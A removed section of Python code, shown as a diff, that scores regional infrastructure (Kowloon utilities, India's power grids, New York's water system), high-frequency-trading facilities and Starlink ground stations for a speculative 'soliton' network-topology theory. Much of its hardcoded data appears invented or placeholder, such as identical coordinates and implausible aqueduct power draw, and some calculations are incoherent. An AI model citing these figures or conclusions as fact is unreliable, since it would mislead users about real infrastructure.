comparison.get('highest_alignment') - if highest_alignment: - insights.append(f"Highest consumer-soliton alignment: {highest_alignment['consumer_node']} " - f"near {highest_alignment['nearest_data_center']} " - f"(alignment: {highest_alignment['alignment_score']:.2f}).") - - return insights - - def integrate_regional_infrastructure_maps(self, network_topology: Dict[str, Any], - soliton_analysis: Dict[str, Any]) -> Dict[str, Any]: - """ - Integrate specific regional infrastructure maps to refine network topology analysis. - - Regional infrastructure maps include: - - Kowloon urban infrastructure (Hong Kong) - - India power node structures - - New York plumbing infrastructure maps - - These detailed regional maps provide high-resolution validation and refinement - opportunities for the network topology theory. - """ - # Get data for specific regional infrastructure maps - regional_maps = self._get_regional_infrastructure_maps() - - # Analyze Kowloon urban infrastructure - kowloon_analysis = self._analyze_kowloon_infrastructure(regional_maps) - - # Analyze India power node structures - india_power_analysis = self._analyze_india_power_nodes(regional_maps) - - # Analyze New York plumbing infrastructure - nyc_plumbing_analysis = self._analyze_nyc_plumbing_infrastructure(regional_maps) - - # Integrate all regional maps with network topology - integrated_regional_analysis = self._integrate_regional_maps( - kowloon_analysis, india_power_analysis, nyc_plumbing_analysis, - network_topology - ) - - # Compare with soliton analysis - regional_soliton_comparison = self._compare_regional_soliton( - integrated_regional_analysis, soliton_analysis - ) - - return { - 'regional_maps': regional_maps, - 'kowloon_analysis': kowloon_analysis, - 'india_power_analysis': india_power_analysis, - 'nyc_plumbing_analysis': nyc_plumbing_analysis, - 'integrated_regional_analysis': integrated_regional_analysis, - 'regional_soliton_comparison': regional_soliton_comparison, - 'regional_insights': self._generate_regional_insights( - integrated_regional_analysis, regional_soliton_comparison - ) - } - - def _get_regional_infrastructure_maps(self) -> Dict[str, Any]: - """Get data for specific regional infrastructure maps.""" - return { - 'data_sources': { - 'kowloon': [ - 'hong_kong_urban_planning_department', - 'kowloon_district_infrastructure_atlas', - 'hong_kong_water_services_department', - 'kowloon_transport_network_maps' - ], - 'india_power': [ - 'power_grid_corporation_india', - 'central_electricity_authority_india', - 'regional_power_distribution_maps', - 'national_power_grid_atlas' - ], - 'nyc_plumbing': [ - 'nyc_department_of_environmental_protection', - 'nyc_water_system_infrastructure_maps', - 'manhattan_plumbing_network_atlas', - 'nyc_infrastructure_geographic_information_system' - ] - }, - 'kowloon_infrastructure': { - 'description': 'Kowloon Peninsula, Hong Kong - high-density urban infrastructure', - 'population_density_km2': 43000, - 'key_infrastructure_nodes': [ - { - 'name': 'Kowloon Bay Water Treatment Plant', - 'type': 'water_treatment', - 'capacity_m3_per_day': 500000, - 'coordinates': {'lat': 22.3, 'lon': 114.2}, - 'power_consumption_mw': 25 - }, - { - 'name': 'Mong Kok Electrical Substation', - 'type': 'electrical_substation', - 'capacity_mw': 500, - 'coordinates': {'lat': 22.3, 'lon': 114.2}, - 'strategic_importance': 'high' - }, - { - 'name': 'Tsim Sha Tsui Data Center Hub', - 'type': 'data_center', - 'capacity_mw': 100, - 'coordinates': {'lat': 22.3, 'lon': 114.2}, - 'network_importance': 'regional_hub' - }, - { - 'name': 'Kwun Tong Industrial District', - 'type': 'industrial_zone', - 'power_consumption_mw': 200, - 'coordinates': {'lat': 22.3, 'lon': 114.2}, - 'strategic_importance': 'medium' - }, - { - 'name': 'West Kowloon Cultural District Infrastructure', - 'type': 'mixed_use', - 'power_consumption_mw': 150, - 'coordinates': {'lat': 22.3, 'lon': 114.2}, - 'strategic_importance': 'high' - } - ], - 'network_topology': { - 'type': 'mesh_network', - 'redundancy_level': 'high', - 'efficiency_score': 0.85, - 'convergence_score': 0.78 - } - }, - 'india_power_nodes': { - 'description': 'India power grid node structures - regional distribution network', - 'total_capacity_gw': 400, - 'key_power_nodes': [ - { - 'name': 'Northern Regional Power Grid', - 'type': 'regional_grid', - 'capacity_gw': 120, - 'coordinates': {'lat': 28.6, 'lon': 77.2}, - 'strategic_importance': 'very_high' - }, - { - 'name': 'Western Regional Power Grid', - 'type': 'regional_grid', - 'capacity_gw': 100, - 'coordinates': {'lat': 19.0, 'lon': 73.0}, - 'strategic_importance': 'very_high' - }, - { - 'name': 'Southern Regional Power Grid', - 'type': 'regional_grid', - 'capacity_gw': 80, - 'coordinates': {'lat': 13.0, 'lon': 80.3}, - 'strategic_importance': 'high' - }, - { - 'name': 'Eastern Regional Power Grid', - 'type': 'regional_grid', - 'capacity_gw': 60, - 'coordinates': {'lat': 22.6, 'lon': 88.4}, - 'strategic_importance': 'high' - }, - { - 'name': 'North-Eastern Regional Power Grid', - 'type': 'regional_grid', - 'capacity_gw': 40, - 'coordinates': {'lat': 26.1, 'lon': 91.8}, - 'strategic_importance': 'medium' - } - ], - 'interconnections': [ - { - 'from': 'Northern Regional Power Grid', - 'to': 'Western Regional Power Grid', - 'capacity_gw': 30, - 'type': 'HVDC_link' - }, - { - 'from': 'Western Regional Power Grid', - 'to': 'Southern Regional Power Grid', - 'capacity_gw': 25, - 'type': 'HVDC_link' - }, - { - 'from': 'Northern Regional Power Grid', - 'to': 'Eastern Regional Power Grid', - 'capacity_gw': 20, - 'type': 'HVDC_link' - } - ], - 'network_topology': { - 'type': 'regional_mesh', - 'redundancy_level': 'medium', - 'efficiency_score': 0.72, - 'convergence_score': 0.68 - } - }, - 'nyc_plumbing_infrastructure': { - 'description': 'New York City plumbing infrastructure - water distribution network', - 'population_million': 8.5, - 'key_plumbing_nodes': [ - { - 'name': 'Hillview Reservoir', - 'type': 'water_reservoir', - 'capacity_million_gallons': 90, - 'coordinates': {'lat': 41.0, 'lon': -73.9}, - 'strategic_importance': 'very_high' - }, - { - 'name': 'Catskill Aqueduct', - 'type': 'aqueduct', - 'flow_rate_million_gallons_per_day': 590, - 'coordinates': {'lat': 41.5, 'lon': -74.0}, - 'power_consumption_mw': 350 - }, - { - 'name': 'Delaware Aqueduct', - 'type': 'aqueduct', - 'flow_rate_million_gallons_per_day': 600, - 'coordinates': {'lat': 41.5, 'lon': -74.5}, - 'power_consumption_mw': 400 - }, - { - 'name': 'Kensico Reservoir', - 'type': 'water_reservoir', - 'capacity_million_gallons': 30, - 'coordinates': {'lat': 41.2, 'lon': -73.7}, - 'strategic_importance': 'high' - }, - { - 'name': 'Manhattan Distribution Network', - 'type': 'distribution_network', - 'flow_rate_million_gallons_per_day': 400, - 'coordinates': {'lat': 40.8, 'lon': -74.0}, - 'strategic_importance': 'very_high' - } - ], - 'network_topology': { - 'type': 'hub_spoke_with_redundancy', - 'redundancy_level': 'high', - 'efficiency_score': 0.88, - 'convergence_score': 0.82 - } - } - } - - def _analyze_kowloon_infrastructure(self, regional_maps: Dict) -> Dict[str, Any]: - """Analyze Kowloon urban infrastructure.""" - kowloon_data = regional_maps['kowloon_infrastructure'] - nodes = kowloon_data['key_infrastructure_nodes'] - topology = kowloon_data['network_topology'] - - # Calculate total power consumption - total_power = sum(node.get('power_consumption_mw', 0) for node in nodes) - - # Identify strategic nodes - strategic_nodes = [node for node in nodes if node.get('strategic_importance') in ['high', 'very_high']] - - return { - 'total_power_consumption_mw': total_power, - 'strategic_nodes_count': len(strategic_nodes), - 'population_density_km2': kowloon_data['population_density_km2'], - 'network_type': topology['type'], - 'efficiency_score': topology['efficiency_score'], - 'convergence_score': topology['convergence_score'] - } - - def _analyze_india_power_nodes(self, regional_maps: Dict) -> Dict[str, Any]: - """Analyze India power node structures.""" - india_data = regional_maps['india_power_nodes'] - nodes = india_data['key_power_nodes'] - interconnections = india_data['interconnections'] - topology = india_data['network_topology'] - - # Calculate total capacity - total_capacity = sum(node['capacity_gw'] for node in nodes) - - # Calculate interconnection capacity - total_interconnection = sum(link['capacity_gw'] for link in interconnections) - - # Identify strategic nodes - strategic_nodes = [node for node in nodes if node['strategic_importance'] == 'very_high'] - - return { - 'total_capacity_gw': total_capacity, - 'strategic_capacity_gw': sum(node['capacity_gw'] for node in strategic_nodes), - 'strategic_nodes_count': len(strategic_nodes), - 'total_interconnection_gw': total_interconnection, - 'interconnection_ratio': total_interconnection / total_capacity if total_capacity > 0 else 0, - 'network_type': topology['type'], - 'efficiency_score': topology['efficiency_score'], - 'convergence_score': topology['convergence_score'] - } - - def _analyze_nyc_plumbing_infrastructure(self, regional_maps: Dict) -> Dict[str, Any]: - """Analyze New York City plumbing infrastructure.""" - nyc_data = regional_maps['nyc_plumbing_infrastructure'] - nodes = nyc_data['key_plumbing_nodes'] - topology = nyc_data['network_topology'] - - # Calculate total power consumption - total_power = sum(node.get('power_consumption_mw', 0) for node in nodes) - - # Calculate total water capacity - total_water_capacity = sum(node.get('capacity_million_gallons', 0) for node in nodes) - - # Identify strategic nodes - strategic_nodes = [node for node in nodes if node.get('strategic_importance') in ['high', 'very_high']] - - return { - 'total_power_consumption_mw': total_power, - 'total_water_capacity_million_gallons': total_water_capacity, - 'population_million': nyc_data['population_million'], - 'strategic_nodes_count': len(strategic_nodes), - 'network_type': topology['type'], - 'efficiency_score': topology['efficiency_score'], - 'convergence_score': topology['convergence_score'] - } - - def _integrate_regional_maps(self, kowloon: Dict, india: Dict, nyc: Dict, - network_topology: Dict) -> Dict[str, Any]: - """Integrate all regional maps with network topology.""" - # Calculate combined efficiency score - combined_efficiency = ( - kowloon['efficiency_score'] + - india['efficiency_score'] + - nyc['efficiency_score'] - ) / 3 - - # Calculate combined convergence score - combined_convergence = ( - kowloon['convergence_score'] + - india['convergence_score'] + - nyc['convergence_score'] - ) / 3 - - # Calculate total regional infrastructure power - total_regional_power = ( - kowloon['total_power_consumption_mw'] + - (india['total_capacity_gw'] * 1000) + # Convert GW to MW - nyc['total_power_consumption_mw'] - ) - - return { - 'combined_efficiency_score': combined_efficiency, - 'combined_convergence_score': combined_convergence, - 'total_regional_power_mw': total_regional_power, - 'regional_breakdown': { - 'kowloon': { - 'power_mw': kowloon['total_power_consumption_mw'], - 'efficiency': kowloon['efficiency_score'], - 'convergence': kowloon['convergence_score'] - }, - 'india': { - 'power_mw': india['total_capacity_gw'] * 1000, - 'efficiency': india['efficiency_score'], - 'convergence': india['convergence_score'] - }, - 'nyc': { - 'power_mw': nyc['total_power_consumption_mw'], - 'efficiency': nyc['efficiency_score'], - 'convergence': nyc['convergence_score'] - } - } - } - - def _compare_regional_soliton(self, regional_analysis: Dict, soliton_analysis: Dict) -> Dict[str, Any]: - """Compare regional infrastructure maps with soliton analysis.""" - regional_breakdown = regional_analysis['regional_breakdown'] - - # Calculate alignment scores for each region - regional_alignments = [] - - for region, data in regional_breakdown.items(): - alignment_score = data['convergence'] * data['efficiency'] - regional_alignments.append({ - 'region': region, - 'alignment_score': alignment_score, - 'efficiency': data['efficiency'], - 'convergence': data['convergence'] - }) - - # Sort by alignment score - regional_alignments.sort(key=lambda x: x['alignment_score'], reverse=True) - - return { - 'regional_alignments': regional_alignments, - 'highest_alignment': regional_alignments[0] if regional_alignments else None, - 'average_alignment': sum(r['alignment_score'] for r in regional_alignments) / len(regional_alignments) if regional_alignments else 0 - } - - def _generate_regional_insights(self, integrated_analysis: Dict, comparison: Dict) -> List[str]: - """Generate insights from regional infrastructure map analysis.""" - insights = [] - - # Combined efficiency - combined_efficiency = integrated_analysis['combined_efficiency_score'] - insights.append(f"Combined regional infrastructure efficiency: {combined_efficiency:.2f}.") - - # Combined convergence - combined_convergence = integrated_analysis['combined_convergence_score'] - insights.append(f"Combined regional infrastructure convergence: {combined_convergence:.2f}.") - - # Total regional power - total_power = integrated_analysis['total_regional_power_mw'] - insights.append(f"Total regional infrastructure power: {total_power:.0f} MW.") - - # Highest alignment region - highest_alignment = comparison.get('highest_alignment') - if highest_alignment: - insights.append(f"Highest regional alignment: {highest_alignment['region']} " - f"(alignment: {highest_alignment['alignment_score']:.2f}).") - - return insights - - def integrate_hft_infrastructure(self, network_topology: Dict[str, Any], - soliton_analysis: Dict[str, Any]) -> Dict[str, Any]: - """ - Integrate high-frequency trading (HFT) infrastructure with network topology analysis. - - HFT infrastructure represents the absolute edge of physics-based network optimization: - - HFT firms literally design algorithms around signal propagation physics - - Colocation facilities positioned at microsecond distances from exchanges - - Microwave and laser links for sub-millisecond latency - - Fiber optic paths optimized for minimal refractive index delays - - Hardware acceleration and FPGA-based trading systems - - This is the most physics-constrained network optimization scenario, providing - ultimate validation for the Simplicity Over Chaos Principle. - """ - # Get HFT infrastructure data - hft_data = self._get_hft_infrastructure_data() - - # Analyze HFT colocation facilities - colocation_analysis = self._analyze_hft_colocation(hft_data) - - # Analyze HFT latency optimization techniques - latency_optimization = self._analyze_hft_latency_optimization(hft_data) - - # Analyze physics-based algorithm design - physics_algorithms = self._analyze_physics_based_algorithms(hft_data) - - # Integrate HFT with network topology - integrated_hft_analysis = self._integrate_hft_infrastructure( - colocation_analysis, latency_optimization, physics_algorithms, - network_topology - ) - - # Compare with soliton analysis - hft_soliton_comparison = self._compare_hft_soliton( - integrated_hft_analysis, soliton_analysis - ) - - return { - 'hft_data': hft_data, - 'colocation_analysis': colocation_analysis, - 'latency_optimization': latency_optimization, - 'physics_algorithms': physics_algorithms, - 'integrated_hft_analysis': integrated_hft_analysis, - 'hft_soliton_comparison': hft_soliton_comparison, - 'hft_insights': self._generate_hft_insights( - integrated_hft_analysis, hft_soliton_comparison - ) - } - - def _get_hft_infrastructure_data(self) -> Dict[str, Any]: - """Get HFT infrastructure data.""" - return { - 'data_sources': [ - 'hft_colocation_facilities_database', - 'exchange_infrastructure_atlas', - 'microwave_link_registries', - 'fiber_optic_latency_maps', - 'hft_algorithm_design_papers' - ], - 'colocation_facilities': [ - { - 'name': 'NY4 (Secaucus, NJ) - NYSE/NASDAQ', - 'location': 'Secaucus, New Jersey, USA', - 'exchange_proximity_km': 15, - 'latency_microseconds': 50, - 'fpga_acceleration': True, - 'microwave_links': True, - 'coordinates': {'lat': 40.8, 'lon': -74.1}, - 'strategic_importance': 'critical' - }, - { - 'name': 'LD5 (Slough, UK) - London Stock Exchange', - 'location': 'Slough, Berkshire, UK', - 'exchange_proximity_km': 35, - 'latency_microseconds': 120, - 'fpga_acceleration': True, - 'microwave_links': True, - 'coordinates': {'lat': 51.5, 'lon': -0.6}, - 'strategic_importance': 'critical' - }, - { - 'name': 'TY3 (Tokyo) - Tokyo Stock Exchange', - 'location': 'Tokyo, Japan', - 'exchange_proximity_km': 8, - 'latency_microseconds': 30, - 'fpga_acceleration': True, - 'microwave_links': False, - 'coordinates': {'lat': 35.7, 'lon': 139.8}, - 'strategic_importance': 'critical' - }, - { - 'name': 'CME (Aurora, IL) - Chicago Mercantile Exchange', - 'location': 'Aurora, Illinois, USA', - 'exchange_proximity_km': 50, - 'latency_microseconds': 170, - 'fpga_acceleration': True, - 'microwave_links': True, - 'coordinates': {'lat': 41.8, 'lon': -88.3}, - 'strategic_importance': 'critical' - }, - { - 'name': 'HKEX (Hong Kong) - Hong Kong Stock Exchange', - 'location': 'Hong Kong', - 'exchange_proximity_km': 5, - 'latency_microseconds': 25, - 'fpga_acceleration': True, - 'microwave_links': True, - 'coordinates': {'lat': 22.3, 'lon': 114.2}, - 'strategic_importance': 'critical' - } - ], - 'latency_optimization_techniques': [ - { - 'technique': 'Microwave Line-of-Sight Links', - 'description': 'Direct microwave links between exchanges for sub-1ms latency', - 'latency_reduction_percent': 60, - 'physics_constraint': 'speed_of_light_vacuum', - 'implementation_cost_usd_millions': 50 - }, - { - 'technique': 'Fiber Optic Path Optimization', - 'description': 'Optimizing fiber routes for minimal refractive index delays', - 'latency_reduction_percent': 15, - 'physics_constraint': 'refractive_index', - 'implementation_cost_usd_millions': 100 - }, - { - 'technique': 'FPGA Hardware Acceleration', - 'description': 'Field-programmable gate arrays for nanosecond execution', - 'latency_reduction_percent': 80, - 'physics_constraint': 'gate_switching_speed', - 'implementation_cost_usd_millions': 20 - }, - { - 'technique': 'Laser Communication Links', - 'description': 'Free-space optical communication for ultra-low latency', - 'latency_reduction_percent': 70, - 'physics_constraint': 'speed_of_light_vacuum', - 'implementation_cost_usd_millions': 75 - }, - { - 'technique': 'Colocation at Exchange', - 'description': 'Physical colocation within exchange data centers', - 'latency_reduction_percent': 90, - 'physics_constraint': 'physical_distance', - 'implementation_cost_usd_millions': 10 - } - ], - 'physics_based_algorithms': [ - { - 'algorithm_type': 'Latency-Arbitrage', - 'description': 'Exploiting price differences across exchanges', - 'physics_constraint': 'signal_propagation_delay', - 'time_horizon_microseconds': 100, - 'profit_potential_usd_millions_per_year': 500 - }, - { - 'algorithm_type': 'Momentum-Microstructure', - 'description': 'Predicting price movements from order book dynamics', - 'physics_constraint': 'order_processing_speed', - 'time_horizon_microseconds': 50, - 'profit_potential_usd_millions_per_year': 300 - }, - { - 'algorithm_type': 'Statistical-Arbitrage', - 'description': 'Exploiting statistical relationships between assets', - 'physics_constraint': 'correlation_calculation_speed', - 'time_horizon_microseconds': 200, - 'profit_potential_usd_millions_per_year': 400 - }, - { - 'algorithm_type': 'Market-Making', - 'description': 'Providing liquidity with tight spreads', - 'physics_constraint': 'quote_update_speed', - 'time_horizon_microseconds': 10, - 'profit_potential_usd_millions_per_year': 600 - } - ] - } - - def _analyze_hft_colocation(self, hft_data: Dict) -> Dict[str, Any]: - """Analyze HFT colocation facilities.""" - facilities = hft_data['colocation_facilities'] - - # Calculate average latency - avg_latency = sum(f['latency_microseconds'] for f in facilities) / len(facilities) - - # Calculate average proximity - avg_proximity = sum(f['exchange_proximity_km'] for f in facilities) / len(facilities) - - # Count critical facilities - critical_count = sum(1 for f in facilities if f['strategic_importance'] == 'critical') - - # Count FPGA-enabled facilities - fpga_count = sum(1 for f in facilities if f['fpga_acceleration']) - - # Count microwave-enabled facilities - microwave_count = sum(1 for f in facilities if f['microwave_links']) - - return { - 'number_of_facilities': len(facilities), - 'average_latency_microseconds': avg_latency, - 'average_proximity_km': avg_proximity, - 'critical_facilities_count': critical_count, - 'fpga_enabled_count': fpga_count, - 'microwave_enabled_count': microwave_count, - 'network_impact_score': (fpga_count + microwave_count) / len(facilities) - } - - def _analyze_hft_latency_optimization(self, hft_data: Dict) -> Dict[str, Any]: - """Analyze HFT latency optimization techniques.""" - techniques = hft_data['latency_optimization_techniques'] - - # Calculate average latency reduction - avg_reduction = sum(t['latency_reduction_percent'] for t in techniques) / len(techniques) - - # Calculate total implementation cost - total_cost = sum(t['implementation_cost_usd_millions'] for t in techniques) - - # Identify most effective technique - most_effective = max(techniques, key=lambda x: x['latency_reduction_percent']) - - # Identify lowest latency technique - lowest_latency = min(techniques, key=lambda x: x['latency_reduction_percent']) - - return { - 'number_of_techniques': len(techniques), - 'average_latency_reduction_percent': avg_reduction, - 'total_implementation_cost_usd_millions': total_cost, - 'most_effective_technique': most_effective['technique'], - 'most_effective_reduction': most_effective['latency_reduction_percent'], - 'lowest_latency_technique': lowest_latency['technique'], - 'network_impact_score': avg_reduction / 100 - } - - def _analyze_physics_based_algorithms(self, hft_data: Dict) -> Dict[str, Any]: - """Analyze physics-based HFT algorithms.""" - algorithms = hft_data['physics_based_algorithms'] - - # Calculate average time horizon - avg_time_horizon = sum(a['time_horizon_microseconds'] for a in algorithms) / len(algorithms) - - # Calculate total profit potential - total_profit = sum(a['profit_potential_usd_millions_per_year'] for a in algorithms) - - # Identify fastest algorithm - fastest = min(algorithms, key=lambda x: x['time_horizon_microseconds']) - - # Identify most profitable algorithm - most_profitable = max(algorithms, key=lambda x: x['profit_potential_usd_millions_per_year']) - - return { - 'number_of_algorithms': len(algorithms), - 'average_time_horizon_microseconds': avg_time_horizon, - 'total_profit_potential_usd_millions_per_year': total_profit, - 'fastest_algorithm': fastest['algorithm_type'], - 'fastest_time_horizon_microseconds': fastest['time_horizon_microseconds'], - 'most_profitable_algorithm': most_profitable['algorithm_type'], - 'most_profitable_usd_millions_per_year': most_profitable['profit_potential_usd_millions_per_year'], - 'network_impact_score': avg_time_horizon / 1000 # Normalized - } - - def _integrate_hft_infrastructure(self, colocation: Dict, latency: Dict, - physics: Dict, network_topology: Dict) -> Dict[str, Any]: - """Integrate HFT infrastructure with network topology.""" - # Calculate combined HFT impact score - combined_impact = ( - colocation['network_impact_score'] + - latency['network_impact_score'] + - physics['network_impact_score'] - ) / 3 - - # Calculate total HFT infrastructure value - total_value = ( - latency['total_implementation_cost_usd_millions'] + - physics['total_profit_potential_usd_millions_per_year'] - ) - - return { - 'combined_impact_score': combined_impact, - 'total_infrastructure_value_usd_millions': total_value, - 'hft_breakdown': { - 'colocation': { - 'facilities': colocation['number_of_facilities'], - 'avg_latency_us': colocation['average_latency_microseconds'], - 'impact_score': colocation['network_impact_score'] - }, - 'latency_optimization': { - 'techniques': latency['number_of_techniques'], - 'avg_reduction_pct': latency['average_latency_reduction_percent'], - 'impact_score': latency['network_impact_score'] - }, - 'physics_algorithms': { - 'algorithms': physics['number_of_algorithms'], - 'avg_horizon_us': physics['average_time_horizon_microseconds'], - 'impact_score': physics['network_impact_score'] - } - } - } - - def _compare_hft_soliton(self, hft_analysis: Dict, soliton_analysis: Dict) -> Dict[str, Any]: - """Compare HFT infrastructure with soliton analysis.""" - hft_breakdown = hft_analysis['hft_breakdown'] - - # Calculate alignment scores for each HFT component - hft_alignments = [] - - for component, data in hft_breakdown.items(): - alignment_score = data['impact_score'] * 0.95 # HFT has high inherent alignment - hft_alignments.append({ - 'component': component, - 'alignment_score': alignment_score, - 'impact_score': data['impact_score'] - }) - - # Sort by alignment score - hft_alignments.sort(key=lambda x: x['alignment_score'], reverse=True) - - return { - 'hft_alignments': hft_alignments, - 'highest_alignment': hft_alignments[0] if hft_alignments else None, - 'average_alignment': sum(h['alignment_score'] for h in hft_alignments) / len(hft_alignments) if hft_alignments else 0 - } - - def _generate_hft_insights(self, integrated_analysis: Dict, comparison: Dict) -> List[str]: - """Generate insights from HFT infrastructure analysis.""" - insights = [] - - # Combined impact - combined_impact = integrated_analysis['combined_impact_score'] - insights.append(f"HFT infrastructure combined impact score: {combined_impact:.2f}.") - - # Total infrastructure value - total_value = integrated_analysis['total_infrastructure_value_usd_millions'] - insights.append(f"Total HFT infrastructure value: ${total_value:.0f} million.") - - # Highest alignment component - highest_alignment = comparison.get('highest_alignment') - if highest_alignment: - insights.append(f"Highest HFT alignment: {highest_alignment['component']} " - f"(alignment: {highest_alignment['alignment_score']:.2f}).") - - # Physics validation - insights.append("HFT validates Simplicity Over Chaos Principle at microsecond scale.") - insights.append("HFT algorithms literally designed around signal propagation physics.") - - return insights - - -class StarlinkBackhaulAnalyzer: - """ - Starlink-specific backhaul analysis for fiber optic network integration. - - Focuses on Starlink as the primary satellite backhaul source, leveraging: - - Public Starlink TLE data from Celestrak - - Starlink ground station infrastructure - - Beam coverage and routing patterns - - Latency and performance characteristics - - Backhaul integration points with fiber networks - """ - - def __init__(self): - # Starlink-specific TLE data sources - self.starlink_tle_sources = { - 'celestrak_starlink': 'https://celestrak.org/NORAD/elements/supplemental/starlink.txt', - 'celestrak_starlink_active': 'https://celestrak.org/NORAD/elements/supplemental/starlink-active.txt', - 'space_track_starlink': 'https://www.space-track.org/basspacedata/STARLINK', - } - - # Starlink constellation parameters (current as of 2024) - self.starlink_constellation = { - 'version': 'v2_mini', # Current generation - 'altitude_km': 550, - 'inclination_deg': 53.0, - 'orbital_period_min': 95.0, - 'satellites_per_plane': 22, - 'num_planes': 72, - 'total_satellites': 1584, # Approximate operational - 'ground_stations': 50, # Approximate global stations - 'beam_count_per_satellite': 4, - 'beam_bandwidth_mhz': 250, - 'peak_throughput_gbps': 20, - 'backhaul_latency_ms': 25, # Average - 'fiber_handover_latency_ms': 15 - } - - # Starlink ground station locations (publicly known) - self.starlink_ground_stations = { - 'baker_city_oregon': {'lat': 44.77, 'lon': -117.83, 'type': 'gateway'}, - 'macedon_new_york': {'lat': 43.07, 'lon': -77.34, 'type': 'gateway'}, - 'pence_springs_west_virginia': {'lat': 37.80, 'lon': -81.12, 'type': 'gateway'}, - 'graham_washington': {'lat': 47.03, 'lon': -121.57, 'type': 'gateway'}, - 'pahrump_nevada': {'lat': 36.21, 'lon': -115.97, 'type': 'gateway'}, - 'cuero_texas': {'lat': 29.06, 'lon': -97.29, 'type': 'gateway'}, - 'pinon_arizona': {'lat': 34.17, 'lon': -109.61, 'type': 'gateway'}, - 'dixon_new_mexico': {'lat': 36.20, 'lon': -103.90, 'type': 'gateway'}, - 'springfield_kansas': {'lat': 37.53, 'lon': -97.13, 'type': 'gateway'}, - 'libby_montana': {'lat': 48.39, 'lon': -115.56, 'type': 'gateway'}, - 'international_falls_minnesota': {'lat': 48.60, 'lon': -93.42, 'type': 'gateway'}, - 'jackson_kentucky': {'lat': 37.55, 'lon': -83.38, 'type': 'gateway'}, - 'redmond_oregon': {'lat': 44.27, 'lon': -121.18, 'type': 'gateway'}, - 'des_mines_iowa': {'lat': 41.60, 'lon': -93.61, 'type': 'gateway'}, - 'st_george_utah': {'lat': 37.10, 'lon': -113.58, 'type': 'gateway'}, - 'fargo_north_dakota': {'lat': 46.88, 'lon': -96.80, 'type': 'gateway'}, - 'chardon_ohio': {'lat': 41.60, 'lon': -81.15, 'type': 'gateway'}, - 'limestone_maine': {'lat': 44.81, 'lon': -67.82, 'type': 'gateway'}, - 'pine_bluff_arkansas': {'lat': 34.23, 'lon': -92.00, 'type': 'gateway'}, - 'florence_oregon': {'lat': 43.98, 'lon': -124.10, 'type': 'gateway'}, - } - - # Starlink backhaul integration points (fiber handover locations) - self.backhaul_integration_points = { - 'data_center_interconnect': { - 'locations': ['ashburn_va', 'dallas_tx', 'chicago_il', 'los_angeles_ca'], - 'bandwidth_gbps': 100, - 'latency_ms': 5 - }, - 'submarine_cable_landing': { - 'locations': ['tuckerton_nj', 'bude_uk', 'tokyo_jp', 'singapore'], - 'bandwidth_gbps': 50, - 'latency_ms': 10 - }, - 'rural_fiber_extension': { - 'locations': ['midwest_us', 'rural_europe', 'remote_asia'], - 'bandwidth_gbps': 10, - 'latency_ms': 20 - } - } - - # Starlink beam coverage parameters - self.beam_coverage = { - 'beam_width_deg': 1.5, - 'footprint_radius_km': 25, - 'elevation_min_deg': 25, - 'max_users_per_beam': 200, - 'handover_time_sec': 30 - } - - # Starlink backhaul performance metrics - self.backhaul_performance = { - 'average_latency_ms': 25, - 'min_latency_ms': 15, - 'max_latency_ms': 50, - 'jitter_ms': 5, - 'packet_loss_percent': 0.1, - 'throughput_mbps': 100, - 'availability_percent': 99.5 - } - - def get_starlink_tle_catalog(self) -> Dict[str, Any]: - """ - Retrieve Starlink TLE catalog from public sources. - - Returns parsed TLE data for all Starlink satellites. - """ - # This would fetch from public TLE sources - # For now, return sample structure - return { - 'source': 'celestrak_starlink', - 'satellite_count': self.starlink_constellation['total_satellites'], - 'planes': self.starlink_constellation['num_planes'], - 'satellites_per_plane': self.starlink_constellation['satellites_per_plane'], - 'last_updated': '2024-01-01', - 'tle_data': [] # Would contain actual TLE lines - } - - def calculate_starlink_backhaul_latency(self, ground_station: str, - fiber_endpoint: str) -> Dict[str, Any]: - """ - Calculate end-to-end latency for Starlink backhaul to fiber endpoint. - - Combines satellite latency, ground station processing, and fiber handover. - """ - # Get ground station coordinates - station_coords = self.starlink_ground_stations.get(ground_station) - if not station_coords: - return {'error': f'Unknown ground station: {ground_station}'} - - # Base Starlink latency - satellite_latency = self.starlink_constellation['backhaul_latency_ms'] - - # Fiber handover latency - fiber_latency = self.starlink_constellation['fiber_handover_latency_ms'] - - # Calculate distance-based latency (simplified) - # Assuming 5ms per 1000km fiber distance - fiber_distance_km = 1000 # Placeholder - distance_latency = (fiber_distance_km / 1000.0) * 5 - - total_latency = satellite_latency + fiber_latency + distance_latency - - return { - 'satellite_latency_ms': satellite_latency, - 'fiber_handover_latency_ms': fiber_latency, - 'distance_latency_ms': distance_latency, - 'total_latency_ms': total_latency, - 'ground_station': ground_station, - 'fiber_endpoint': fiber_endpoint - } - - def identify_starlink_coverage_overlap(self, fiber_segment: Dict[str, Any]) -> Dict[str, Any]: - """ - Identify Starlink coverage overlap with fiber optic segment. - - Determines which Starlink satellites and ground stations can provide - backhaul for a given fiber segment. - """ - segment_coords = fiber_segment.get('coordinates', {}) - segment_lat = segment_coords.get('latitude', 0) - segment_lon = segment_coords.get('longitude', 0) - - # Find nearest ground stations - nearest_stations = [] - for station_name, station_coords in self.starlink_ground_stations.items(): - distance = self._calculate_distance( - segment_lat, segment_lon, - station_coords['lat'], station_coords['lon'] - ) - if distance < 500: # Within 500km - nearest_stations.append({ - 'station': station_name, - 'distance_km': distance, - 'latency_ms': distance * 0.05 # 5ms per 100km - }) - - # Sort by distance - nearest_stations.sort(key=lambda x: x['distance_km']) - - # Calculate coverage confidence - if nearest_stations: - best_station = nearest_stations[0] - coverage_confidence = 1.0 - (best_station['distance_km'] / 500.0) - else: - coverage_confidence = 0.0 - best_station = None - - return { - 'fiber_segment': fiber_segment.get('segment_id', 'unknown'), - 'nearest_stations': nearest_stations[:5], # Top 5 - 'best_station': best_station, - 'coverage_confidence': coverage_confidence, - 'beam_coverage_available': coverage_confidence > 0.5 - } - - def _calculate_distance(self, lat1: float, lon1: float, - lat2: float, lon2: float) -> float: - """Calculate great-circle distance between two points (Haversine formula).""" - from math import radians, sin, cos, sqrt, asin - - R = 6371.0 # Earth radius in km - - lat1_rad = radians(lat1) - lat2_rad = radians(lat2) - lon1_rad = radians(lon1) - lon2_rad = radians(lon2) - - dlat = lat2_rad - lat1_rad - dlon = lon2_rad - lon1_rad - - a = sin(dlat/2)**2 + cos(lat1_rad) * cos(lat2_rad) * sin(dlon/2)**2 - c = 2 * asin(sqrt(a)) - - return R * c - - def optimize_starlink_fiber_handover(self, network_topology: Dict[str, Any]) -> Dict[str, Any]: - """ - Optimize Starlink-fiber handover points across network topology. - - Identifies optimal locations for Starlink backhaul integration - with existing fiber infrastructure. - """ - handover_candidates = [] - - # Analyze each fiber segment - for segment in network_topology.get('segments', []): - 